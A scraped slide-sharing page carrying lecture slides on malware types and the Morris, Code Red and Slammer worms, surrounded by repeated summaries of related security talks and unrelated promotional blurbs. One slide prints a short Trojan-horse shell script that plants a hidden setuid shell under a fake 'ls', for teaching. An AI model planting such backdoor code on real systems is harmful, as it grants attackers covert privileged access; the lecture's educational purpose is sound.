This document discusses various types of malware including viruses, worms, trojan horses, backdoors, logic bombs, spyware, scareware, ransomware and botnets. It provides examples of specific malware like the Morris Worm, Nimda Worm, MyDoom, and Slammer. It also covers how malware has evolved over time to spread faster through vectors like email attachments, file sharing and exploiting vulnerabilities. Malware goals have expanded from simple replication to include identity theft, ransom demands, and distributed denial of service attacks.
This document discusses the topic of malware. It provides examples of different types of malware like viruses, worms, trojan horses, rootkits, spyware, ransomware and botnets. It describes key features of different malware types and provides the example of the Morris Worm, one of the first major internet worms, which spread rapidly in 1988 exploiting vulnerabilities in remote login programs, sendmail's debug mode and the finger daemon. The document also discusses faster spreading worms like Code Red and Slammer, and email spreading worms like Love Bug. It outlines the timeline and key events related to the Stuxnet worm targeting Siemens industrial control systems.
Malware comes in many forms and uses various techniques to infect systems. The document discusses common malware types like viruses, worms, trojans, spyware, and ransomware. It also provides examples of historically significant malware like the Morris Worm, Code Red, and Slammer. Finally, it analyzes the advanced nation-state malware Stuxnet, how it spread to industrial systems, and sabotaged Iranian nuclear centrifuges through infected programmable logic controllers.
1. The document discusses various techniques for confining untrusted code, including chroot jails, virtual machines, and system call interposition.
2. System call interposition monitors applications' system calls and blocks unauthorized ones, implementing fine-grained access control policies. However, specifying the right policy for each application can be difficult.
3. Virtual machines isolate applications by running them within isolated guest operating systems. However, covert channels still allow some information to leak between virtual machines.
Mayhem is a new piece of malware that targets Linux and FreeBSD web servers to make them part of a botnet without requiring root privileges. It infects servers by exploiting vulnerabilities and dropping malicious files. The malware uses hidden file systems and plugins to communicate with command and control servers, spread to other systems, and perform tasks like password brute forcing and website crawling. Analysis found the malware had compromised over 1,400 servers located primarily in the USA, Russia, Germany and Canada.
This document discusses botnets and their applications. It begins with an overview of botnets, how they are controlled through command and control servers, and how rootkits can help conceal botnet activity. It then explores how botnets can be used for spam, phishing, click fraud, identity theft, and distributed denial-of-service attacks. Detection and mitigation techniques are also summarized, including network intrusion detection, honeynets, DNS monitoring, and modeling botnet propagation across timezones. Recent botnets like AgoBot, PhatBot, and Bobax are also examined in the context of spam distribution. Open research questions around botnet membership detection, click fraud detection, and phishing detection are presented.
The document discusses various types of malware attacks including DDoS attacks, botnets, and mitigations. It provides definitions and examples of different malware types such as viruses, worms, Trojan horses, rootkits, logic bombs, and ransomware. It also discusses how botnets are used to launch DDoS attacks and describes common DDoS attack countermeasures such as preventing initial hacks, using firewalls, and changing targeted IP addresses.
Finding A Company's BreakPoint
The goal of this talk is to help educate those who are new or learning penetration testing and hacking techniques. We tend to see the same mindset applied when we speak to those new to pentesting “Scan something with Nessus to find the vulnerability, and then exploit it…Right?”. This is very far from reality when we talk about pentesting or even real world attacks. In this talk we will cover five (5) techniques that we find to be highly effective at establishing an initial foothold into the target network including: phishing, multicast protocol poisoning, SMBrelay attacks, account compromise and web application vulnerabilities.
Also watch this talk: https://www.youtube.com/watch?v=-G0v1y-Vaoo&t=1337s
This document discusses the topic of malware. It provides examples of different types of malware like viruses, worms, trojan horses, rootkits, spyware, ransomware and botnets. It describes key features of different malware types and provides the example of the Morris Worm, one of the first major internet worms, which spread rapidly in 1988 exploiting vulnerabilities in remote login programs, sendmail's debug mode and the finger daemon. The document also discusses faster spreading worms like Code Red and Slammer, and email spreading worms like Love Bug. It outlines the timeline and key events related to the Stuxnet worm targeting Siemens industrial control systems.
Malware comes in many forms and uses various techniques to infect systems. The document discusses common malware types like viruses, worms, trojans, spyware, and ransomware. It also provides examples of historically significant malware like the Morris Worm, Code Red, and Slammer. Finally, it analyzes the advanced nation-state malware Stuxnet, how it spread to industrial systems, and sabotaged Iranian nuclear centrifuges through infected programmable logic controllers.
1. The document discusses various techniques for confining untrusted code, including chroot jails, virtual machines, and system call interposition.
2. System call interposition monitors applications' system calls and blocks unauthorized ones, implementing fine-grained access control policies. However, specifying the right policy for each application can be difficult.
3. Virtual machines isolate applications by running them within isolated guest operating systems. However, covert channels still allow some information to leak between virtual machines.
Mayhem is a new piece of malware that targets Linux and FreeBSD web servers to make them part of a botnet without requiring root privileges. It infects servers by exploiting vulnerabilities and dropping malicious files. The malware uses hidden file systems and plugins to communicate with command and control servers, spread to other systems, and perform tasks like password brute forcing and website crawling. Analysis found the malware had compromised over 1,400 servers located primarily in the USA, Russia, Germany and Canada.
This document discusses botnets and their applications. It begins with an overview of botnets, how they are controlled through command and control servers, and how rootkits can help conceal botnet activity. It then explores how botnets can be used for spam, phishing, click fraud, identity theft, and distributed denial-of-service attacks. Detection and mitigation techniques are also summarized, including network intrusion detection, honeynets, DNS monitoring, and modeling botnet propagation across timezones. Recent botnets like AgoBot, PhatBot, and Bobax are also examined in the context of spam distribution. Open research questions around botnet membership detection, click fraud detection, and phishing detection are presented.
The document discusses various types of malware attacks including DDoS attacks, botnets, and mitigations. It provides definitions and examples of different malware types such as viruses, worms, Trojan horses, rootkits, logic bombs, and ransomware. It also discusses how botnets are used to launch DDoS attacks and describes common DDoS attack countermeasures such as preventing initial hacks, using firewalls, and changing targeted IP addresses.
Finding A Company's BreakPoint
The goal of this talk is to help educate those who are new or learning penetration testing and hacking techniques. We tend to see the same mindset applied when we speak to those new to pentesting “Scan something with Nessus to find the vulnerability, and then exploit it…Right?”. This is very far from reality when we talk about pentesting or even real world attacks. In this talk we will cover five (5) techniques that we find to be highly effective at establishing an initial foothold into the target network including: phishing, multicast protocol poisoning, SMBrelay attacks, account compromise and web application vulnerabilities.
Also watch this talk: https://www.youtube.com/watch?v=-G0v1y-Vaoo&t=1337s
Your data is much safer at home than it is letting some corporation "take care of it" for you, right? Security reviews for some of the top vendors' devices reveal many interesting findings. Like everything else, there are bugs. But knowing what kinds of bugs and how the vendors have responded will allow you to better understand the impact of plugging these devices into your network. Jeremy will show you just how low access control and least privilege are their list of priorities. He'll also explore the amount of test collateral and debug interfaces sloppily left shipping to consumers. From remote roots to stealing social network tokens to just plain weird stuff, he'll expand on how it's not just about what they do, but also what they don't do. And, he'll give you some useful guidelines on how to close the gaps yourself.
Secure Software: Action, Comedy or Drama? (2017 edition)Peter Sabev
If they made movies about the most important software security issues, they could be put into five titles: Insecure Interface, Insufficient Authentication, Security Misconfiguration, Lack of Transport Encryption and Privacy Concerns. What are the action, comedy and drama parts in software security nowadays? A talk presented on IT-Weekend event in Ruse, Bulgaria (2017)
Covers building a malware analysis environment for enterprises that don't currently have a dedicated team for such purposes. Presented at Blackhat DC 2010.
This lecture discusses common methods of cyberattack and types of malware. Some methods of attack explored include packet sniffing to intercept internet traffic, software attacks like trojans and viruses, and social engineering through phishing and hoaxes. Common types of malware described are trojans, viruses, worms, rootkits, adware, spyware, and ransomware. Social engineering methods used by cybercriminals like phishing are also explained.
This presentation will introduce the Lockheed Martin Cyber Kill Chain and MITRE ATT&CK frameworks. By working through 4 different practical scenarios in a fictional company https://sensenet-library.com, the attendees will learn how they can use those frameworks to measure their security response in today's diverse security threat landscape. We'll go through categorising security controls, responding to a vulnerability report, assessing a threat intel report and decide on future of the company's toolset where you will be able to answer a question if you should continue investing in a tool or should you buy a new one.
1. Trapdoors are secret entry points into a system that bypass normal security procedures, commonly used by developers in compilers. Logic bombs are malicious programs that are triggered when specified conditions are met, such as a particular date or user, and typically damage the system.
2. Trojan horses appear to have a normal function but have hidden malicious effects that violate security policies. Viruses are self-replicating code that alters normal programs to include infected versions and can have hidden payloads.
3. Worms propagate fully functioning copies of themselves across networks to infect other computers. Notable worms include Morris, Code Red, Nimda, Slammer, and Conficker which exploited software vulnerabilities to spread rapidly and
Ransomware has become one of the most widespread and damaging threats that internet users face. Since the infamous CryptoLocker first appeared in 2013, we’ve seen a new era of file-encrypting ransomware variants delivered through spam messages and Exploit Kits, extorting money from home users and businesses alike.
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2Chris Gates
This document discusses 10 different ways to execute code remotely on Windows systems, including native Windows tools like Sysinternals PSExec, methods in Metasploit like PSExec and PSExec-MOF, and other techniques like WMI, PowerShell, and RemCom. Each method is briefly outlined with its positives and negatives. For example, PSExec leaves the PSEXESVC service running but never needs updating, while Metasploit PSExec supports pass-the-hash but some antiviruses may flag the service binary. The document provides an overview of common remote code execution options for pentesters and their relative tradeoffs.
هک پایگاه داده و راهکارهای مقابلهDatabases hacking, safeguards and counterme...M Mehdi Ahmadian
This document discusses database hacking, safeguards, and countermeasures. It begins with an introduction and overview on how databases are commonly hacked. Next, it examines specific SQL server malware like Cblade, Spida, and Slammer worms that have exploited vulnerabilities in Microsoft SQL Server. It then discusses the concept of Oracle rootkits that can hide malicious activities within an Oracle database. The document concludes with recommendations for database security practices and references materials used.
Алексей Старов - Как проводить киберраследования?HackIT Ukraine
«Cybercrime» является особым направлением в области компьютерной безопасности и приватности. Это направление объединяет научные работы, которые исследуют различные сценарии атак или мошенничества, анализируют вредоносные экосистемы, обнаруживают злоумышленников и изучает их методы с целью разработки эффективных мер противодействия. В текущем докладе будут предоставлены рекомендации о том, как проводить киберрасследования, основываясь на примерах из наших работ и статей. Например, я расскажу о нашем масштабном исследовании вредоносных веб-оболочек и как мы смогли обнаружить жертв и нападающих по всему земному шару, а так же о том, как мы использовали навыки социальной инженерии, чтобы исследовать экосистему мошеннической технической поддержки, и многое другое. Моя цель состоит в том, чтобы заинтересовать научных исследователей и других представителей области ИБ в работе по направлению “Cybercrime”, в поиске различных путей предотвращения и расследования киберпреступлений. А также, показать, что подобные полезные исследования не всегда требует огромных ресурсов и сотрудничеств. Формат доклада: разговор в виде легкого семинара с элементами коллективного мозгового штурма (ноутбук не требуется). Мы рассмотрим 3 урока, из каждого выделяя полезные методы, инструменты и навыки. Язык: русский (с элементами английского).
The document discusses ransomware and Python, examining whether Python can be used as an ally or enemy in creating ransomware. It notes that ransomware is one of the most dangerous types of malware due to the damage it can cause, and explores Python's suitability for building ransomware given its capabilities for file encryption and network communication.
This document discusses various techniques for sandboxing untrusted code, including chroot jails, system call interposition, virtual machines, and software fault isolation. It notes that completely isolating applications is often inappropriate, as they need controlled ways to communicate. The key challenges are implementing reference monitors to enforce isolation policies and specifying the right policy for each application to define what behavior is allowed.
Watch How The Giants Fall: Learning from Bug Bounty Resultsjtmelton
Security is hard. We all miss things. Attackers find things.
"You must learn from the mistakes of others. You can't possibly live long enough to make them all yourself." -Samuel Levenson
This talk is a fun, fast-moving survey of some of the best recent bug bounty finds against some of the largest and best-known applications in the world. Some of the bugs are really simple, some are super complex, but all are entertaining. As we go through these, we'll take a look at what caused the issue, and how to fix it.
From this talk, you'll walk away with:
* a few minutes of entertainment
* a view of the wide breadth of security issues
* practical ideas on testing and shoring up security in your own applications
* (maybe) a new side gig as a bug bounty hunter!
This document provides an overview of hacking, including definitions, a brief history, famous hackers, the hacker attitude, basic hacking skills, and common hacking methods and attacks. It defines hacking as intruding on someone else's information space for malicious purposes. It discusses port scanning and ICMP scanning techniques used to gather target system information. Common attacks mentioned include denial-of-service attacks, threats from sniffers and key loggers, trojan attacks, and IP spoofing. The document provides details on specific attacks like ping of death and smurf attacks. It also discusses tools used and countermeasures to protect against hacking.
Kunal - Introduction to BackTrack - ClubHack2008ClubHack
BackTrack is a Linux distribution focused on penetration testing with over 300 security tools. It allows testing of vulnerabilities like buffer overflows and cross-site scripting through tools like Nmap, Nikto, and Metasploit. Common attack techniques explored include man-in-the-middle attacks using ARP poisoning, password cracking through tools like John the Ripper, and "Google hacking" to find sensitive information online.
Kunal - Introduction to backtrack - ClubHack2008ClubHack
BackTrack is a Linux distribution focused on penetration testing with over 300 security tools. It allows testing of vulnerabilities like buffer overflows and cross-site scripting through tools like Nmap, Nikto, and Metasploit. Common attack techniques explored include man-in-the-middle attacks using ARP poisoning, password cracking through tools like John the Ripper, and hacking web servers through techniques like Google hacking.
BackTrack is a Linux distribution focused on penetration testing with over 300 security tools. It allows testing of vulnerabilities like buffer overflows and cross-site scripting through tools like Nmap, Nikto, and Metasploit. Attackers can use these tools along with techniques like ARP poisoning to conduct remote exploits or hack passwords on Windows systems.
Part 2 Deep Dive: Navigating the 2024 Slowdownjeffkluth1
Introduction
The global retail industry has weathered numerous storms, with the financial crisis of 2008 serving as a poignant reminder of the sector's resilience and adaptability. However, as we navigate the complex landscape of 2024, retailers face a unique set of challenges that demand innovative strategies and a fundamental shift in mindset. This white paper contrasts the impact of the 2008 recession on the retail sector with the current headwinds retailers are grappling with, while offering a comprehensive roadmap for success in this new paradigm.
Easily Verify Compliance and Security with Binance KYCAny kyc Account
Use our simple KYC verification guide to make sure your Binance account is safe and compliant. Discover the fundamentals, appreciate the significance of KYC, and trade on one of the biggest cryptocurrency exchanges with confidence.
Your data is much safer at home than it is letting some corporation "take care of it" for you, right? Security reviews for some of the top vendors' devices reveal many interesting findings. Like everything else, there are bugs. But knowing what kinds of bugs and how the vendors have responded will allow you to better understand the impact of plugging these devices into your network. Jeremy will show you just how low access control and least privilege are their list of priorities. He'll also explore the amount of test collateral and debug interfaces sloppily left shipping to consumers. From remote roots to stealing social network tokens to just plain weird stuff, he'll expand on how it's not just about what they do, but also what they don't do. And, he'll give you some useful guidelines on how to close the gaps yourself.
Secure Software: Action, Comedy or Drama? (2017 edition)Peter Sabev
If they made movies about the most important software security issues, they could be put into five titles: Insecure Interface, Insufficient Authentication, Security Misconfiguration, Lack of Transport Encryption and Privacy Concerns. What are the action, comedy and drama parts in software security nowadays? A talk presented on IT-Weekend event in Ruse, Bulgaria (2017)
Covers building a malware analysis environment for enterprises that don't currently have a dedicated team for such purposes. Presented at Blackhat DC 2010.
This lecture discusses common methods of cyberattack and types of malware. Some methods of attack explored include packet sniffing to intercept internet traffic, software attacks like trojans and viruses, and social engineering through phishing and hoaxes. Common types of malware described are trojans, viruses, worms, rootkits, adware, spyware, and ransomware. Social engineering methods used by cybercriminals like phishing are also explained.
This presentation will introduce the Lockheed Martin Cyber Kill Chain and MITRE ATT&CK frameworks. By working through 4 different practical scenarios in a fictional company https://sensenet-library.com, the attendees will learn how they can use those frameworks to measure their security response in today's diverse security threat landscape. We'll go through categorising security controls, responding to a vulnerability report, assessing a threat intel report and decide on future of the company's toolset where you will be able to answer a question if you should continue investing in a tool or should you buy a new one.
1. Trapdoors are secret entry points into a system that bypass normal security procedures, commonly used by developers in compilers. Logic bombs are malicious programs that are triggered when specified conditions are met, such as a particular date or user, and typically damage the system.
2. Trojan horses appear to have a normal function but have hidden malicious effects that violate security policies. Viruses are self-replicating code that alters normal programs to include infected versions and can have hidden payloads.
3. Worms propagate fully functioning copies of themselves across networks to infect other computers. Notable worms include Morris, Code Red, Nimda, Slammer, and Conficker which exploited software vulnerabilities to spread rapidly and
Ransomware has become one of the most widespread and damaging threats that internet users face. Since the infamous CryptoLocker first appeared in 2013, we’ve seen a new era of file-encrypting ransomware variants delivered through spam messages and Exploit Kits, extorting money from home users and businesses alike.
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2Chris Gates
This document discusses 10 different ways to execute code remotely on Windows systems, including native Windows tools like Sysinternals PSExec, methods in Metasploit like PSExec and PSExec-MOF, and other techniques like WMI, PowerShell, and RemCom. Each method is briefly outlined with its positives and negatives. For example, PSExec leaves the PSEXESVC service running but never needs updating, while Metasploit PSExec supports pass-the-hash but some antiviruses may flag the service binary. The document provides an overview of common remote code execution options for pentesters and their relative tradeoffs.
هک پایگاه داده و راهکارهای مقابلهDatabases hacking, safeguards and counterme...M Mehdi Ahmadian
This document discusses database hacking, safeguards, and countermeasures. It begins with an introduction and overview on how databases are commonly hacked. Next, it examines specific SQL server malware like Cblade, Spida, and Slammer worms that have exploited vulnerabilities in Microsoft SQL Server. It then discusses the concept of Oracle rootkits that can hide malicious activities within an Oracle database. The document concludes with recommendations for database security practices and references materials used.
Алексей Старов - Как проводить киберраследования?HackIT Ukraine
«Cybercrime» является особым направлением в области компьютерной безопасности и приватности. Это направление объединяет научные работы, которые исследуют различные сценарии атак или мошенничества, анализируют вредоносные экосистемы, обнаруживают злоумышленников и изучает их методы с целью разработки эффективных мер противодействия. В текущем докладе будут предоставлены рекомендации о том, как проводить киберрасследования, основываясь на примерах из наших работ и статей. Например, я расскажу о нашем масштабном исследовании вредоносных веб-оболочек и как мы смогли обнаружить жертв и нападающих по всему земному шару, а так же о том, как мы использовали навыки социальной инженерии, чтобы исследовать экосистему мошеннической технической поддержки, и многое другое. Моя цель состоит в том, чтобы заинтересовать научных исследователей и других представителей области ИБ в работе по направлению “Cybercrime”, в поиске различных путей предотвращения и расследования киберпреступлений. А также, показать, что подобные полезные исследования не всегда требует огромных ресурсов и сотрудничеств. Формат доклада: разговор в виде легкого семинара с элементами коллективного мозгового штурма (ноутбук не требуется). Мы рассмотрим 3 урока, из каждого выделяя полезные методы, инструменты и навыки. Язык: русский (с элементами английского).
The document discusses ransomware and Python, examining whether Python can be used as an ally or enemy in creating ransomware. It notes that ransomware is one of the most dangerous types of malware due to the damage it can cause, and explores Python's suitability for building ransomware given its capabilities for file encryption and network communication.
This document discusses various techniques for sandboxing untrusted code, including chroot jails, system call interposition, virtual machines, and software fault isolation. It notes that completely isolating applications is often inappropriate, as they need controlled ways to communicate. The key challenges are implementing reference monitors to enforce isolation policies and specifying the right policy for each application to define what behavior is allowed.
Watch How The Giants Fall: Learning from Bug Bounty Resultsjtmelton
Security is hard. We all miss things. Attackers find things.
"You must learn from the mistakes of others. You can't possibly live long enough to make them all yourself." -Samuel Levenson
This talk is a fun, fast-moving survey of some of the best recent bug bounty finds against some of the largest and best-known applications in the world. Some of the bugs are really simple, some are super complex, but all are entertaining. As we go through these, we'll take a look at what caused the issue, and how to fix it.
From this talk, you'll walk away with:
* a few minutes of entertainment
* a view of the wide breadth of security issues
* practical ideas on testing and shoring up security in your own applications
* (maybe) a new side gig as a bug bounty hunter!
This document provides an overview of hacking, including definitions, a brief history, famous hackers, the hacker attitude, basic hacking skills, and common hacking methods and attacks. It defines hacking as intruding on someone else's information space for malicious purposes. It discusses port scanning and ICMP scanning techniques used to gather target system information. Common attacks mentioned include denial-of-service attacks, threats from sniffers and key loggers, trojan attacks, and IP spoofing. The document provides details on specific attacks like ping of death and smurf attacks. It also discusses tools used and countermeasures to protect against hacking.
Kunal - Introduction to BackTrack - ClubHack2008ClubHack
BackTrack is a Linux distribution focused on penetration testing with over 300 security tools. It allows testing of vulnerabilities like buffer overflows and cross-site scripting through tools like Nmap, Nikto, and Metasploit. Common attack techniques explored include man-in-the-middle attacks using ARP poisoning, password cracking through tools like John the Ripper, and "Google hacking" to find sensitive information online.
Kunal - Introduction to backtrack - ClubHack2008ClubHack
BackTrack is a Linux distribution focused on penetration testing with over 300 security tools. It allows testing of vulnerabilities like buffer overflows and cross-site scripting through tools like Nmap, Nikto, and Metasploit. Common attack techniques explored include man-in-the-middle attacks using ARP poisoning, password cracking through tools like John the Ripper, and hacking web servers through techniques like Google hacking.
BackTrack is a Linux distribution focused on penetration testing with over 300 security tools. It allows testing of vulnerabilities like buffer overflows and cross-site scripting through tools like Nmap, Nikto, and Metasploit. Attackers can use these tools along with techniques like ARP poisoning to conduct remote exploits or hack passwords on Windows systems.
Part 2 Deep Dive: Navigating the 2024 Slowdownjeffkluth1
Introduction
The global retail industry has weathered numerous storms, with the financial crisis of 2008 serving as a poignant reminder of the sector's resilience and adaptability. However, as we navigate the complex landscape of 2024, retailers face a unique set of challenges that demand innovative strategies and a fundamental shift in mindset. This white paper contrasts the impact of the 2008 recession on the retail sector with the current headwinds retailers are grappling with, while offering a comprehensive roadmap for success in this new paradigm.
Easily Verify Compliance and Security with Binance KYCAny kyc Account
Use our simple KYC verification guide to make sure your Binance account is safe and compliant. Discover the fundamentals, appreciate the significance of KYC, and trade on one of the biggest cryptocurrency exchanges with confidence.
Zodiac Signs and Food Preferences_ What Your Sign Says About Your Tastemy Pandit
Know what your zodiac sign says about your taste in food! Explore how the 12 zodiac signs influence your culinary preferences with insights from MyPandit. Dive into astrology and flavors!
Storytelling is an incredibly valuable tool to share data and information. To get the most impact from stories there are a number of key ingredients. These are based on science and human nature. Using these elements in a story you can deliver information impactfully, ensure action and drive change.
Structural Design Process: Step-by-Step Guide for BuildingsChandresh Chudasama
The structural design process is explained: Follow our step-by-step guide to understand building design intricacies and ensure structural integrity. Learn how to build wonderful buildings with the help of our detailed information. Learn how to create structures with durability and reliability and also gain insights on ways of managing structures.
The APCO Geopolitical Radar - Q3 2024 The Global Operating Environment for Bu...APCO
The Radar reflects input from APCO’s teams located around the world. It distils a host of interconnected events and trends into insights to inform operational and strategic decisions. Issues covered in this edition include:
❼❷⓿❺❻❷❽❷❼❽ Dpboss Matka Result Satta Matka Guessing Satta Fix jodi Kalyan Final ank Satta Matka Dpbos Final ank Satta Matta Matka 143 Kalyan Matka Guessing Final Matka Final ank Today Matka 420 Satta Batta Satta 143 Kalyan Chart Main Bazar Chart vip Matka Guessing Dpboss 143 Guessing Kalyan night
Navigating the world of forex trading can be challenging, especially for beginners. To help you make an informed decision, we have comprehensively compared the best forex brokers in India for 2024. This article, reviewed by Top Forex Brokers Review, will cover featured award winners, the best forex brokers, featured offers, the best copy trading platforms, the best forex brokers for beginners, the best MetaTrader brokers, and recently updated reviews. We will focus on FP Markets, Black Bull, EightCap, IC Markets, and Octa.
Company Valuation webinar series - Tuesday, 4 June 2024FelixPerez547899
This session provided an update as to the latest valuation data in the UK and then delved into a discussion on the upcoming election and the impacts on valuation. We finished, as always with a Q&A
[To download this presentation, visit:
https://www.oeconsulting.com.sg/training-presentations]
This presentation is a curated compilation of PowerPoint diagrams and templates designed to illustrate 20 different digital transformation frameworks and models. These frameworks are based on recent industry trends and best practices, ensuring that the content remains relevant and up-to-date.
Key highlights include Microsoft's Digital Transformation Framework, which focuses on driving innovation and efficiency, and McKinsey's Ten Guiding Principles, which provide strategic insights for successful digital transformation. Additionally, Forrester's framework emphasizes enhancing customer experiences and modernizing IT infrastructure, while IDC's MaturityScape helps assess and develop organizational digital maturity. MIT's framework explores cutting-edge strategies for achieving digital success.
These materials are perfect for enhancing your business or classroom presentations, offering visual aids to supplement your insights. Please note that while comprehensive, these slides are intended as supplementary resources and may not be complete for standalone instructional purposes.
Frameworks/Models included:
Microsoft’s Digital Transformation Framework
McKinsey’s Ten Guiding Principles of Digital Transformation
Forrester’s Digital Transformation Framework
IDC’s Digital Transformation MaturityScape
MIT’s Digital Transformation Framework
Gartner’s Digital Transformation Framework
Accenture’s Digital Strategy & Enterprise Frameworks
Deloitte’s Digital Industrial Transformation Framework
Capgemini’s Digital Transformation Framework
PwC’s Digital Transformation Framework
Cisco’s Digital Transformation Framework
Cognizant’s Digital Transformation Framework
DXC Technology’s Digital Transformation Framework
The BCG Strategy Palette
McKinsey’s Digital Transformation Framework
Digital Transformation Compass
Four Levels of Digital Maturity
Design Thinking Framework
Business Model Canvas
Customer Journey Map
The Genesis of BriansClub.cm Famous Dark WEb PlatformSabaaSudozai
BriansClub.cm, a famous platform on the dark web, has become one of the most infamous carding marketplaces, specializing in the sale of stolen credit card data.
At Techbox Square, in Singapore, we're not just creative web designers and developers, we're the driving force behind your brand identity. Contact us today.
How MJ Global Leads the Packaging Industry.pdfMJ Global
MJ Global's success in staying ahead of the curve in the packaging industry is a testament to its dedication to innovation, sustainability, and customer-centricity. By embracing technological advancements, leading in eco-friendly solutions, collaborating with industry leaders, and adapting to evolving consumer preferences, MJ Global continues to set new standards in the packaging sector.
Brian Fitzsimmons on the Business Strategy and Content Flywheel of Barstool S...Neil Horowitz
On episode 272 of the Digital and Social Media Sports Podcast, Neil chatted with Brian Fitzsimmons, Director of Licensing and Business Development for Barstool Sports.
What follows is a collection of snippets from the podcast. To hear the full interview and more, check out the podcast on all podcast platforms and at www.dsmsports.net
2. CS526 Topic 10: Malware 2
Readings for This Lecture
• Wikipedia
• Malware
• Computer Virus
• Botnet
• Rootkit
• Morris Worm
3. Malware Features & Types
• Infectious:
– Viruses, worms
• Concealment:
– Trojan horses, logic bombs, rootkits
• Malware for stealing information:
– Spyware, keyloggers, screen scrapers
• Malware for profit:
– Dialers, scarewares, ransomware
• Malware as platform for other attacks
– Botnets, backdoors (trapdoors)
• Many malwares have characteristics of multiple types
CS526 Topic 10: Malware 3
4. CS526 Topic 10: Malware 4
Trojan Horse
Example: Attacker:
Place the following file
cp /bin/sh /tmp/.xxsh
chmod u+s,o+x /tmp/.xxsh
rm ./ls
ls $*
as /homes/victim/ls
• Victim
ls
• Software that appears to perform
a desirable function for the user
prior to run or install, but
(perhaps in addition to the
expected function) steals
information or harms the system.
• User tricked into executing
Trojan horse
– Expects (and sees) overt and
expected behavior
– Covertly perform malicious acts
with user’s authorization
5. CS526 Topic 10: Malware 5
Trapdoor or Backdoor
• Secret entry point into a system
– Specific user identifier or password that circumvents
normal security procedures.
• Commonly used by developers
– Could be included in a compiler.
6. CS526 Topic 10: Malware 6
Logic Bomb
• Embedded in legitimate programs
• Activated when specified conditions met
– E.g., presence/absence of some file; Particular
date/time or particular user
• When triggered, typically damages system
– Modify/delete files/disks
7. Example of Logic Bomb
• In 1982, the Trans-Siberian Pipeline incident
occurred. A KGB operative was to steal the plans
for a sophisticated control system and its
software from a Canadian firm, for use on their
Siberian pipeline. The CIA was tipped off by
documents in the Farewell Dossier and had the
company insert a logic bomb in the program for
sabotage purposes. This eventually resulted in
"the most monumental non-nuclear explosion
and fire ever seen from space“.
CS526 Topic 10: Malware 7
8. Spyware
• Malware that collects little bits of information at a
time about users without their knowledge
– Keyloggers: stealthly tracking and logging key strokes
– Screen scrapers: stealthly reading data from a
computer display
– May also tracking browsing habit
– May also re-direct browsing and display ads
CS526 Topic 10: Malware 8
9. Scareware
• Malware that scares victims into take actions that
ultimately end up compromising our own security.
– E.g., paying for and installing fake anti-virus products
CS526 Topic 10: Malware 9
11. Ransomware
• Holds a computer system, or the data it contains, hostage
against its user by demanding a ransom.
– Disable an essential system service or lock the display at system
startup
– Encrypt some of the user's personal files, originally referred to as
cryptoviruses, cryptotrojans or cryptoworms
• Victim user has to
– enter a code obtainable only after wiring payment to the attacker
or sending an SMS message
– buy a decryption or removal tool
CS526 Topic 10: Malware 11
12. CS526 Topic 10: Malware 12
Virus
• Attach itself to a host (often a program) and replicate
itself
• Self-replicating code
– Self-replicating Trojan horses
– Alters normal code with “infected” version
• Operates when infected code executed
If spread condition then
For target files
if not infected then alter to include virus
Perform malicious action
Execute normal program
13. CS526 Topic 10: Malware 13
Worm
• Self-replicating malware that does not require a
host program
• Propagates a fully working version of itself to other
machines
• Carries a payload performing hidden tasks
– Backdoors, spam relays, DDoS agents; …
• Phases
– Probing Exploitation Replication Payload
14. General Worm Trends
• Speed of spreading
– Slow to fast to stealthy
• Vector of infection
– Single to varied
– Exploiting software vulnerabilities to exploiting human
vulnerabilities
• Payloads
– From “no malicious payloads beyond spreading” to
botnets, spywares, and physical systems
CS526 Topic 10: Malware 14
15. CS526 Topic 10: Malware 15
Morris Worm
(November 1988)
• First major worm
• Written by Robert
Morris
– Son of former chief
scientist of NSA’s
National Computer
Security Center
What comes next: 1 11 21 1211 111221?
16. CS526 Topic 10: Malware 16
Morris Worm Description
• Two parts
– Main program to spread worm
• look for other machines that could be infected
• try to find ways of infiltrating these machines
– Vector program (99 lines of C)
• compiled and run on the infected machines
• transferred main program to continue attack
17. CS526 Topic 10: Malware 17
Vector 1: Debug feature of
sendmail
• Sendmail
– Listens on port 25 (SMTP port)
– Some systems back then compiled it with DEBUG
option on
• Debug feature gives
– The ability to send a shell script and execute on the
host
18. CS526 Topic 10: Malware 18
Vector 2: Exploiting fingerd
• What does finger do?
• Finger output
arthur.cs.purdue.edu% finger ninghui
Login name: ninghui In real life: Ninghui Li
Directory: /homes/ninghui Shell: /bin/csh
Since Sep 28 14:36:12 on pts/15 from csdhcp-120-173 (9 seconds
idle)
New mail received Tue Sep 28 14:36:04 2010;
unread since Tue Sep 28 14:36:05 2010
No Plan.
19. CS526 Topic 10: Malware 19
Vector 2: Exploiting fingerd
• Fingerd
– Listen on port 79
• It uses the function gets
– Fingerd expects an input string
– Worm writes long string to internal 512-byte buffer
• Overrides return address to jump to shell code
20. CS526 Topic 10: Malware 20
Vector 3: Exploiting Trust in
Remote Login
• Remote login on UNIX
– rlogin, rsh
• Trusting mechanism
– Trusted machines have the same user accounts
– Users from trusted machines
– /etc/host.equiv – system wide trusted hosts file
– /.rhosts and ~/.rhosts – users’ trusted hosts file
Host aaa.xyz.com
/etc/host.equiv
bbb.xyz.com
Host bbb.xyz.com
User alice
rlogin
21. CS526 Topic 10: Malware 21
Vector 3: Exploiting Trust in
Remote Login
• Worm exploited trust information
– Examining trusted hosts files
– Assume reciprocal trust
• If X trusts Y, then maybe Y trusts X
• Password cracking
– Worm coming in through fingerd was running as
daemon (not root) so needed to break into accounts
to use .rhosts feature
– Read /etc/passwd, used ~400 common password
strings & local dictionary to do a dictionary attack
22. CS526 Topic 10: Malware 22
Other Features of The Worm
• Self-hiding
– Program is shown as 'sh' when ps
– Files didn’t show up in ls
• Find targets using several mechanisms:
• 'netstat -r -n‘, /etc/hosts, …
• Compromise multiple hosts in parallel
– When worm successfully connects, forks a child to
continue the infection while the parent keeps trying
new hosts
• Worm has no malicious payload
• Where does the damage come from?
23. Damage
• One host may be repeatedly compromised
• Supposedly designed to gauge the size of the
Internet
• The following bug made it more damaging.
– Asks a host whether it is compromised; however, even
if it answers yes, still compromise it with probability
1/8.
CS526 Topic 10: Malware 23
24. CS526 Topic 10: Malware 24
Increasing propagation speed
• Code Red, July 2001
– Affects Microsoft Index Server 2.0,
– Exploits known buffer overflow in Idq.dll
– Vulnerable population (360,000 servers) infected in 14 hours
• SQL Slammer, January 2003
– Affects in Microsoft SQL 2000
– Exploits known months ahead of worm outbreak
• Buffer overflow vulnerability reported in June 2002
• Patched released in July 2002 (Bulletin MS02-39)
